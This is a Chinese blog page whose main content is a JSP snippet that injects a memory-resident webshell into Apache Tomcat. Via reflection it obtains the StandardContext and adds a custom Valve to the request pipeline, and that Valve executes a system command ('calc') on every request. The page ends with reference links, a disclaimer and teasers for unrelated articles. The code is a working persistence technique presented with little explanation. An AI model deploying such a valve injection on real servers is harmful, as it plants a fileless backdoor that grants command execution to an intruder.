<%@ page import="org.apache.catalina.Pipeline" %>

<%!
    public class ServletValve implements Valve {
        private Valve next;
        @Override
        public Valve getNext() {
            return next;
        }
        @Override
        public void setNext(Valve valve) {
            this.next = valve;
        }
        @Override
        public void backgroundProcess() {
        }
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            try {
                Runtime.getRuntime().exec("calc");
                this.getNext().invoke(request, response);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        @Override
        public boolean isAsyncSupported() {
            return false;
        }
    }
%>

<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request requestImp = (Request)requestField.get(request);
    StandardContext standardContext = (StandardContext)requestImp.getContext();

    Pipeline pipeline = standardContext.getPipeline();
    pipeline.addValve(new ServletValve());
%>

访问一次后构造内存马,第二次生效

image

参考链接

https://goodapple.top/archives/1355

https://xz.aliyun.com/t/11988

https://blog.csdn.net/u010883443/article/details/107463782

https://www.cnblogs.com/coldridgeValley/p/5816414.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/463563.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

蓝桥杯小白赛第 7 场 3.奇偶排序(sort排序 + 双数组)

思路&#xff1a;在第一次看到这道题的时候我第一想法是用冒泡&#xff0c;但好像我的水平还不允许我写出来。我又读了遍题目发现它的数据很小&#xff0c;我就寻思着把它分成奇偶两部分。应该怎么分呢&#xff1f; 当然在读入的时候把这个问题解决就最好了。正好它的数据范围…

MySQL-JDBC初识

文章目录 前言一、数据库编程的必备条件二、 Java的数据库编程&#xff1a;JDBC三、JDBC工作原理四、JDBC使用4.1 JDBC开发案例4.2 JDBC使用步骤总结 五、JDBC常用接口和类5.1 JDBC API5.2 数据库连接Connection5.3 Statement对象5.4 ResultSet对象 前言 为最近学习的JDBC知识…

Github: Github actions 自动化工作原理与多workflow创建

Github actions 1 &#xff09;概述 Github Actions 是Github官方推出的 CI/CD 解决方案 https://docs.githu.com/en/actions 优点 自动发布流程可减少发布过程中手动操作成本&#xff0c;大幅提升ci/cd效率&#xff0c;快速实现项目发布上线 缺点 存在较高的技术门槛需要利用…

/usr/local/bin/docker-compose: line 1: Not: command not found

安装docker-compose 检查是否安装成功 docker-compose --version 出错 /usr/local/bin/docker-compose: line 1: Not: command not found 检查下载连接是否正确 官网 https://dockerdocs.cn/compose/install/ 根据官网上连接下载 发现下载不了 在版本前加个V 就可以解决 版…

【C++】类和对象终章

&#x1f525;博客主页&#xff1a; 小羊失眠啦. &#x1f3a5;系列专栏&#xff1a;《C语言》 《数据结构》 《C》 《Linux》 《Cpolar》 ❤️感谢大家点赞&#x1f44d;收藏⭐评论✍️ 文章目录 一、初始化列表1.1 初始化列表的形式1.2 初始化列表的注意事项 二、explicit关键…

一个页面请求从在浏览器中输入网址到页面最终呈现

前言-与正文无关 生活远不止眼前的苦劳与奔波&#xff0c;它还充满了无数值得我们去体验和珍惜的美好事物。在这个快节奏的世界中&#xff0c;我们往往容易陷入工作的漩涡&#xff0c;忘记了停下脚步&#xff0c;感受周围的世界。让我们一起提醒自己&#xff0c;要适时放慢脚步…

校园闲置物品租售系统|基于springboot框架+ Mysql+Java+B/S架构的校园闲置物品租售系统设计与实现(可运行源码+数据库+设计文档)

推荐阅读100套最新项目 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 目录 前台功能效果图 管理员功能登录前台功能效果图 ​编辑 用户功能模块 商品购买管理 卖家功能模块 商品…

QML 布局管理器之GridLayout

一.QML GridLayout介绍 在QML中&#xff0c;GridLayout是一种用于布局元素的容器。它允许您以网格形式组织和排列元素。要使用rowspan、columnspan、layoutFillWidth和rowSpacing属性&#xff0c;您可以将一个元素跨越多行和多列&#xff0c;并填充整个宽度&#xff0c;同时设置…

【正则表达式】正则表达式里使用变量

码 const shuai No My Name Is ShuaiGe.match(new RegExp(shuai, gi)); //↑↑↑↑↑↑↑↑ //等同于 //↓↓↓↓↓↓↓↓ /No/gi.test(My Name Is ShuaiGe)用作领域 搜索的字符动态改变&#xff0c;例如↓模糊搜索例&#xff1a; 一个文本宽&#xff0c;输入文本模糊搜索用…

面试常问:为什么 Vite 速度比 Webpack 快?

前言 最近作者在学习 webpack 相关的知识&#xff0c;之前一直对这个问题不是特别了解&#xff0c;甚至讲不出个123....&#xff0c;这个问题在面试中也是常见的&#xff0c;作者在学习的过程当中总结了以下几点&#xff0c;在这里分享给大家看一下&#xff0c;当然最重要的是…

实现一个横向的picker

Picker 选择器显示一个或多个选项集合的可滚动列表&#xff0c;相比于原生 picker&#xff0c;实现了 iOS 与 Android 端体验的一致性。 要实现横向 picker&#xff0c;其实跟纵向 picker差不多&#xff0c;都支持滚动时停留在指定位置&#xff0c;并且支持滚动到边界支持反弹…

C语言中,基本数据类型介绍

C语言当中各种数据类型的大小&#xff0c;首先要了解有哪些数据类型。 一 字符型&#xff1a; 整数&#xff08;字符&#xff09;类型存储大小值范围char1 字节-128 到 127 或 0 到 255&#xff08;2的8次方&#xff09;unsigned char1 字节0 到 255&#xff08;&#xff09;s…

C/C++火柴棍等式

有n根(n<24)火柴棍&#xff0c;你可以拼出多少个形如“ABC"的等式?等式中的A、B、C是用火柴棍拼出的整数(若该数非零&#xff0c;则最高位不能是0)。用火柴棍拼数字0-9的拼法如图所示: 依次需要用到的火柴棍数目为6 2 5 5 4 5 6 3 7 6 。 如果是初学者可能会这么写。 …

shallowReactive浅层式响应对象

一、 reactive 和ref 都是深层响应式对象: 就是不管对象有多少层&#xff0c;修改此对象任一属性都会响应式处理 shallowReactive 和shallowRef 浅层响应式对象: 只会修改第一层对象&#xff0c;修改此对象第一层属性&#xff0c;视图会有同步变化&#xff0c;非第一层&#xf…

JVM学习-底层字节码的执行过程

目录 1.一个简单的程序分析 2. a&#xff0c;a&#xff0c;a--在JVM中的执行过程 3. 一个好玩的xx 4.方法调用的字节码分析、多态的实现、对象头 5. try-catch-finally的字节码分析 5.1 try-catch 5.2 try-catch-finally 5.3特殊情况 5.3.1 try和finally块中都出现了re…

面向对象技术(第二周)

目录 前言 ⚽回顾 &#x1f3d0;类的层次 定义 层次关系的实现 &#x1f3c0;继承 &#x1f94e;编程方法 非面向对象编程 根本思想 特点 例子&#xff08;设计一个画板系统Panel&#xff09; 第一步&#xff1a;整体设计 第二步&#xff1a;模块具体设计 缺点分…

Linux 常用命令100+

Linux 运维/开发/测试 常用命令100(v1.1) 帮助命令(2个) 命令功能说明示例man 命令查看普通命令帮助&#xff0c;命令的词典&#xff0c;更复杂的还有info&#xff0c;但不常用。rootbrLinux ~]#man lshelp 命令查看Linux内置命令的帮助&#xff0c;比如cd命令。[rootbrLinux…

Apache zookeeper kafka 开启SASL安全认证

背景&#xff1a;我之前安装的kafka没有开启安全鉴权&#xff0c;在没有任何凭证的情况下都可以访问kafka。搜了一圈资料&#xff0c;发现有关于sasl、acl相关的&#xff0c;准备试试。 简介 Kafka是一个高吞吐量、分布式的发布-订阅消息系统。Kafka核心模块使用Scala语言开发…

拼多多商品详情接口数据采集

拼多多商品详情接口数据采集是一个相对专业的任务&#xff0c;通常涉及到使用API接口或第三方采集工具等技术手段。以下是一些基本步骤和注意事项&#xff0c;供您参考&#xff1a; 请求示例&#xff0c;API接口接入Anzexi58 申请开发者账号&#xff1a;如果您打算使用API接口…

基于java+springboot+vue实现的停车场车位预约系统(文末源码+Lw+ppt)23-442

摘 要 本系统为用户而设计制作合庆镇停车场车位预约系统&#xff0c;旨在实现合庆镇停车场车位预约智能化、现代化管理。本合庆镇停车场车位预约管理自动化系统的开发和研制的最终目的是将合庆镇停车场车位预约的运作模式从手工记录数据转变为网络信息查询管理&#xff0c;…